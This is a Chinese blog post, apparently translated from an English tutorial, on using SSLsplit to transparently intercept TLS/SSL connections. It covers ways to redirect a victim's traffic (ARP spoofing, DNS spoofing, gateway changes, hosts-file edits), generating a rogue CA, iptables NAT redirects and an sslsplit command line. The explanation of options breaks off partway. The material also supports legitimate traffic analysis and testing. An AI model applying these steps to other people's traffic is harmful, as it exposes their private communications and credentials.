用SSLsplit分析SSL连接-包括非https协议

原文:http://blog.philippheckel.com/2013/08/04/use-sslsplit-to-transparently-sniff-tls-ssl-connections/

mitmproxy对https连接的数据抓取很完美。但是,它不能理解其他基于TLS/SSL的流量,比如FTPS, SMTP over SSL, IMAP over SSL等。

SSLsplit 是一个通用的透明TLS/SSL代理, 可以执行中间人攻击。

使用SSLsplit,可以监听和保存所有基于SSL的流量

1.工作原理
SSLsplit同其他透明SSL代理工具类似:它扮演了一个在客户端和实际的服务器间的中间人。
所有的流量都被转向(redirect)到SSLsplit运行的那台服务器上(通过改变默认的网关, ARP欺骗或者其他方式)

2. 转向流量
1)使用ARP欺骗。发送假的网关(gateway)的MAC地址(其实是攻击者的MAC地址) 给受害者, 让受害者误以为 攻击者就是网关。
你不需要物理访问受害者的设备就能做到。
2)手动改变 受害者的 默认网关。如果你能物理访问受害者设备,这是最简单的方法
3) DNS欺骗。 对特定的域名,返回攻击者的IP作为目标服务器的地址 给受害者。
4)修改受害者机器的/etc/hosts的条目来 转向某些域名的流量

改变受害者的默认网关,是最简单的方法。毕竟,我们为了安装CA证书到受害者机器上,也需要物理访问机器。

3. 安装
https://github.com/droe/sslsplit
Debian上目前只有sslsniff, 没有sslsplit

apt-get install libssl-dev libevent-dev
git clone https://github.com/droe/sslsplit
cd sslsplit
make
mkdir /tmp/sslsplit

在sslsplit目录下就生成了一个 可执行文件 sslsplit

4.生成CA证书

openssl genrsa -out ca.key 4096
openssl req -new -x509 -days 1826 -key ca.key -out ca.crt

第1个命令,生成 4096位的RSA私钥(以pem格式保存) ca.key
第2个命令, 使用这个刚生成的私钥,来生成一个 自签名的 root CA 证书(ca.crt)
这两个文件在后面都会用到。只有ca.crt这个证书文件,需要安装 到浏览器,或者受害者的机器上。

5.启用IP转发和NAT引擎
假设SSLsplit运行在两个端口 8080用作非SSL的TCP连接,比如 http, smtp, ftp
8443 用作SSL的连接,比如SMTP over SSL, HTTPS等
为了转发 到达攻击者机器的IP到 互联网上的端口,可以这么设置

sysctl -w net.ipv4.ip_forward=1
iptables -t nat -F
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 5222 -j REDIRECT --to-ports 8080

6.运行SSLsplit

# ./sslsplit
  -D
  -l connections.log
  -j /tmp/sslsplit/
  -S logdir/
  -k ca.key
  -c ca.cer
   ssl 0.0.0.0 8443
   tcp 0.0.0.0 8080

-D 调试模式(运行于前台, 详细输出信息)
-l 日志文件
-j 连接的内容保存目录
-S

mitmproxy 监听 https 比 sslsplit更方便

发表评论

电子邮件地址不会被公开。 必填项已用*标注